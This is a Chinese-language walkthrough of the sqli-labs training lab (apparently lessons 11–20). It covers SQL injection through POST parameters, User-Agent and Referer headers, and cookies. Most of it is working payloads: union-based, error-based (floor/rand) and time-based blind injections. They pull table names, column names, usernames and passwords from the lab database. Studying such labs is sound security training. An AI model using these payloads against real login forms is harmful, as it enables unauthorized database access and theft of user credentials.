人过留名,雁过留声
人生天地间,凡有大动静处
必有猪头
sqli-labs 1-10 关是 GET 方法注入,11-20 关是 POST 方法注入。思路有相似之处,最大的区别在于参数提交的方式不一样。
Phpstudy 集成工具
Sublime 代码编辑器
Firefox 浏览器
Hackbar 插件(或 Burpsuite)
Headers Modify 插件
post方法提交参数
两处单引号引用参数拼接sql语句
查询输出
Hackbar 提交 POST 参数
闭合单引号,在任何一处参数构造 sql 语句注入
按 f12 键打开开发者工具,选中 POST 提交的条目可以看到提交的数据。( 知道怎么样提交,好方便接下来自己构造 POST 参数)
2.1 猜测列数为 2 ,不报错
POST 参数:
uname=1' order by 2 #&passwd=123
2.2 猜测列数为 3 ,报错。说明当前使用的数据表列数为 2 列。
POST 参数:
uname=1' order by 3 #&passwd=123
3.1 注入数字,查看回显位
POST 参数:
uname=1' union select 1,2 #&passwd=123
uname=1' union select version(),database() #&passwd=123
uname=1' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),database() #&passwd=123
uname=1' union select (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),database() #&passwd=123
uname=1' union select (select group_concat(username) from security.users),(select group_concat(password) from security.users) #&passwd=123
POST 提交数据
双引号+括号引用参数进行 sql 语句拼接
双引号和括号闭合并构造 sql 语句
思路和 Less11 一样
POST参数:
uname=1") union select 1,2 #&passwd=123
POST 提交参数
单引号+括号引用参数拼接 sql 语句
没有数据信息回显
有错误信息回显
闭合单引号+括号
使用报错注入,利用错误回显信息
当然也可以使用时间盲注(当错误信息关闭之后)
uname=1') or (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) #&passwd=123
uname=1') or (select 1 from(select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x)a) #&passwd=123
uname=1') or (select 1 from(select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand(0)*2))x from information_schema.tables group by x)a) #&passwd=123
4. 爆出数据
4.1 查看 username 字段(group_concat)
uname=1') or (select 1 from(select count(*),concat((select group_concat(username) from security.users),floor(rand(0)*2))x from information_schema.tables group by x)a) #&passwd=123
uname=1') or (select 1 from(select count(*),concat((select username from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) #&passwd=123
POST 提交参数
双引号引用参数
没有数据信息回显
有错误信息回显
双引号闭合
可以报错注入
这里使用时间盲注
uname=1') or sleep(1)#&passwd=admin
如果引用数据库存在的数据,如 admin ,且使用布尔值 and ,所以延时一秒
uname=admin') and sleep(1)#&passwd=admin
if(判断条件,条件位 true 时执行,条件为 false 时执行)
if(ascii(substring((payload),1,1))>0,sleep(1),1)
当前数据库的第一个字母的 ASCII 值大于零时延时
uname=1') or if(ascii(substring(database(),1,1))>0,sleep(1),1)#&passwd=123
当前数据库的第二个字母的 ASCII 值大于零时延时
uname=1') or if(ascii(substring(database(),2,1))>0,sleep(1),1)#&passwd=123
就一个一个猜吧,比较费时。
POST 提交数据
单引号引用参数
没有数据信息回显
没有错误信息回显
单引号闭合
不管输入信息对错,没有任何信息回显,只能使用时间盲注,思路和 Less14 一样
双引号+括号引用参数
没有数据信息回显
没有错误信息回显
双引号+括号闭合
时间盲注,思路和 Less14 一样
先对 check_input( ) 函数分析下
substr()
substr() 函数返回字符串的一部分。substr(string,start,length)
magic_quotes_gpc
在magic_quotes_gpc=On的情况下,如果输入的数据有单引号(’)、双引号(”)、反
斜线(\)与 NUL(NULL 字符)等字符都会被加上反斜线。这些转义是必须的,如果这
个选项为off,那么我们就必须调用addslashes这个函数来为字符串增加转义。
stripslashes()函数用来去除添加的反斜杠
ctype_digit()
ctype_digit()函数用于检测 $value 的值是不是数字,是返回true,不是返回false
mysql_real_escape_string()
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
intval()
intval()函数取整
分析下源码:
对 uname 使用 check_input() 函数过滤
对 passwd 却没做操作(可做突破点)
单引号引用参数
没有数据信息回显
有错误信息回显
单引号闭合
从 passwd 参数着手
报错注入
当然也可以使用时间盲注
显示当前数据库
uname=admin&passwd= ' or (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) #
获取 http 头部信息 referer
对用户的输入 uname 和 passwd 都做了过滤
没对 uagent 过滤,且将其插入数据库中
有错误信息回显
没有对 User-Agent 信息过滤且插入数据库中,可以对其进行 sql 语句构造,产生错误由
mysql_error() 函数打印出来。
由于源码中的插入语句对 uagent 参数用单引号引用,所以这里用单引号闭合
前提:
post 提交的 uname 和 passwd 参数要是正确的
使用hackbar v2 插件或者 Burpsuite ,headers Modify 等可以修改 HTTP 头部参数
在 User Agent 输入以下 payload 查看当前数据库
'or (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) or'
获取 HTTP 头部的 referer 参数
单引号引用 referer 参数并插入数据库中
有错误信息回显
单引号闭合 referer 参数
使用报错注入,在 referer 参数处构造 payload 进行注入
前提:
uname 和 passwd 参数要正确
在 referer 参数处输入以下 payload 查看当前数据库
' or (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) or '
当没有 cookie 时,获取 uname 和 passwd 参数,且做过滤
没有数据信息回显
有错误信息回显也无用武之地
产生 cookie 之后,获取当前 cookie
单引号引用构造 sql 语句进行数据库信息查询
将查询的信息回显
随便提交参数
在 cookie 处构造 payload 进行注入
uname=' order by 3 #
uname=' order by 4 #
3. union 注入
3.1 查看数据回显位,可以知道数字 1,2,3 都有回显
uname=' union select 1,2,3 #
猪头
2020.1.18